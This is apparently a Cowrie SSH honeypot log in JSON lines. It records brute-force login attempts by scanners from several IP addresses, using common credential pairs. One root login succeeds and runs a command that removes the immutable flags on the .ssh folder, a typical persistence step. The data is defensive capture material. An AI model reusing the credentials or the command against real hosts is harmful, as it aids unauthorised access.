{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:34.500653Z","src_ip":"2.57.121.25","session":"d0374a31d3fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pendejo","message":"login attempt [user/pendejo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:34.990239Z","src_ip":"2.57.121.25","session":"d0374a31d3fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"peaceful","message":"login attempt [user/peaceful] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:36.097162Z","src_ip":"2.57.121.25","session":"d0374a31d3fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"patron","message":"login attempt [user/patron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:37.202789Z","src_ip":"2.57.121.25","session":"d0374a31d3fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pasta","message":"login attempt [user/pasta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:38.309667Z","src_ip":"2.57.121.25","session":"d0374a31d3fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"partners","message":"login attempt [user/partners] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:39.417342Z","src_ip":"2.57.121.25","session":"d0374a31d3fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:06:40.523197Z","src_ip":"2.57.121.25","session":"d0374a31d3fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":47190,"dst_ip":"159.203.135.109","dst_port":22,"session":"10123e6dc074","protocol":"ssh","message":"New connection: 193.32.162.151:47190 (159.203.135.109:22) [session: 10123e6dc074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:07:06.606335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:07:06.787003Z","src_ip":"193.32.162.151","session":"10123e6dc074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:07:06.796639Z","src_ip":"193.32.162.151","session":"10123e6dc074","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epsuser","password":"12345","message":"login attempt [epsuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:07:07.251635Z","src_ip":"193.32.162.151","session":"10123e6dc074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:07:08.354613Z","src_ip":"193.32.162.151","session":"10123e6dc074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":43776,"dst_ip":"10.17.0.5","dst_port":22,"session":"881711569987","protocol":"ssh","message":"New connection: 92.118.39.95:43776 (10.17.0.5:22) [session: 881711569987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:07:23.139028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:07:23.143820Z","src_ip":"92.118.39.95","session":"881711569987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:07:23.249481Z","src_ip":"92.118.39.95","session":"881711569987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QWER!@#$","message":"login attempt [ubuntu/QWER!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:07:23.566896Z","src_ip":"92.118.39.95","session":"881711569987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:07:24.675256Z","src_ip":"92.118.39.95","session":"881711569987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":43830,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe08c5cf206a","protocol":"ssh","message":"New connection: 80.94.92.186:43830 (10.17.0.5:22) [session: fe08c5cf206a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:08:37.988924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:08:38.019069Z","src_ip":"80.94.92.186","session":"fe08c5cf206a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:08:38.147402Z","src_ip":"80.94.92.186","session":"fe08c5cf206a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"validator","message":"login attempt [latitude/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:08:38.981413Z","src_ip":"80.94.92.186","session":"fe08c5cf206a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:08:40.130715Z","src_ip":"80.94.92.186","session":"fe08c5cf206a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58516,"dst_ip":"10.17.0.5","dst_port":22,"session":"40aa74215aef","protocol":"ssh","message":"New connection: 2.57.122.208:58516 (10.17.0.5:22) [session: 40aa74215aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:09.851331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:09.855973Z","src_ip":"2.57.122.208","session":"40aa74215aef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:09.956424Z","src_ip":"2.57.122.208","session":"40aa74215aef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:10.257225Z","src_ip":"2.57.122.208","session":"40aa74215aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:11.359706Z","src_ip":"2.57.122.208","session":"40aa74215aef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":34826,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6cbafd3f349","protocol":"ssh","message":"New connection: 193.32.162.151:34826 (159.203.135.109:22) [session: f6cbafd3f349]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:12.446285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:12.451051Z","src_ip":"193.32.162.151","session":"f6cbafd3f349","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:12.552205Z","src_ip":"193.32.162.151","session":"f6cbafd3f349","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:13.102185Z","src_ip":"193.32.162.151","session":"f6cbafd3f349","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:14.210257Z","src_ip":"193.32.162.151","session":"f6cbafd3f349","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":55984,"dst_ip":"10.17.0.5","dst_port":22,"session":"2294cc0dae69","protocol":"ssh","message":"New connection: 92.118.39.95:55984 (10.17.0.5:22) [session: 2294cc0dae69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:27.037632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:27.042584Z","src_ip":"92.118.39.95","session":"2294cc0dae69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:27.148632Z","src_ip":"92.118.39.95","session":"2294cc0dae69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234QWER","message":"login attempt [ubuntu/1234QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:27.467676Z","src_ip":"92.118.39.95","session":"2294cc0dae69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:09:28.576408Z","src_ip":"92.118.39.95","session":"2294cc0dae69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.166.73.238","src_port":40044,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a0d08e26091","protocol":"ssh","message":"New connection: 110.166.73.238:40044 (159.203.135.109:22) [session: 4a0d08e26091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:10:07.938498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:10:09.440508Z","src_ip":"110.166.73.238","session":"4a0d08e26091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:10:09.444320Z","src_ip":"110.166.73.238","session":"4a0d08e26091","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin123..","message":"login attempt [root/Admin123..] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:10:10.431288Z","src_ip":"110.166.73.238","session":"4a0d08e26091","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:10:10.963783Z","src_ip":"110.166.73.238","session":"4a0d08e26091","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:10:10.967984Z","src_ip":"110.166.73.238","session":"4a0d08e26091","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:10:10.973771Z","src_ip":"110.166.73.238","session":"4a0d08e26091","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:10:11.230311Z","src_ip":"110.166.73.238","session":"4a0d08e26091","protocol":"ssh"}
